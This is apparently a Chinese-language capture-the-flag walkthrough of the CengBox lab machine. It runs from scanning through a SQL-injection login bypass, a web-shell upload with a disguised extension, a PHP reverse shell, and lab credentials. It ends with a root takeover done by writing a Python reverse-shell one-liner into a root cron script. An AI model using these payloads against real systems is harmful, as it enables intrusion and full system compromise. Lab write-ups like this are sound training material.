1、使用netdiscover扫描一下靶机ip:192.168.0.107
2、nmap扫描一下目标开放端口:22、80
3、访问80端口,没什么有用的信息,直接用kali自带的dirb扫描目录
dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt
4、看着masteradmin和uploads两个目录有点可疑,猜测masteradmin应该是管理后台,uploads应该是个保存上传文件的目录,应该是需要上传文件,两个直接访问都是403,所以进一步扫描masteradmin目录下的页面
dirb http://192.168.0.107/masteradmin -X .php
5、一共扫描出了三个文件,db.php--猜测应该是存放连接数据库的信息,login.php,upload.php--应该是上传界面,应该就是要访问这个界面了,直接访问提示需要登录,跳转到login.php
6、看到这种输入框,先测试一下万能密码和弱口令,发现admin'or 1#成功登录,所以这里是存在sql注入的,可以使用sql注入出用户名和密码
后台账号密码masteradmin/C3ng0v3R00T1!
7、进入后台之后,需要我们上传一个文件,选择一个木马文件上传,表面没有什么提示,其实使用ctrl+a全选,就能看到提示信息,说需要上传一个ceng文件,也可以使用burp的重放功能
于是将文件名修改成shell.ceng重新上传
8、这里只是提示success,没有说保存路径,猜测是之前的uploads目录,访问之后是一片空白,猜测被当成php成功解析,传个参进去发现执行成功,这里猜测应该是有个.htaccess文件做了配置
9、直接蚁剑连接,可以查看下有没有.htaccess文件证实一下猜想,发现确实是有,而且内容也是将ceng后缀解析成php格式
10、其他的就没有发现什么有用的信息,于是想到之前的db.php文件,试着进入数据库看一下
mysql数据库账号密码:root/SuperS3cR3TPassw0rd1!
11、这里直接使用蚁剑的虚拟终端连接加密码,会出现警告,说密码不能直接在命令行,MySQL 5.6 版本对安全性进行了增强,如果在命令中使用了 -ppassword ,就会有告警提示。
mysql -uroot -pSuperS3cR3TPassw0rd1!
于是替换成
mysql -uroot -p
这样还是不行,会报错
想要提权到tty试试,但是蚁剑的虚拟终端似乎不行
12、反弹shell再试试,用蚁剑上传php-reverse-shell.php,kali开启监听,访问页面,成功反弹shell
http://192.168.0.107/uploads/php-reverse-shell.php
python没有,使用python3提权
python3 -c "import pty;pty.spawn('/bin/bash')"
13、再次尝试连接一下mysql数据库,成功连接,这里虽然弹出警告,但是还是能够连接成功,说明之前应该只是不能输出这个结果
14、查看一下数据库和表,cengbox数据库的admin表,也就是我们之前sql注入出的数据
15、尝试一下使用这个密码登录,所以需要登录的用户名
cat /etc/passwd|grep /bin/bash
root
cengover
16、尝试之后使用cengover/C3ng0v3R00T1!成功登录,可以直接在这里su cengover切换,但是这个体验感极差,可以使用ssh登录
查看下家目录下有没有什么提示性的文件,就一个user.txt文件,也没给什么信息,也没有找到可以提权的命令
17、这里需要使用pspy64查看后台进程
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
发现有个可以的进程,uid=0(root)执行/opt/md5check.py文件
18、修改该文件内容为反弹shell的脚本,本地开启监听,稍等一会就能接收到反弹的shell
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > /opt/md5check.py
查看root.txt文件,大功告成
19、记录一些小工具:
pspy64
revshellgen
sqlmap burpsuite co2
下一篇写cengbox2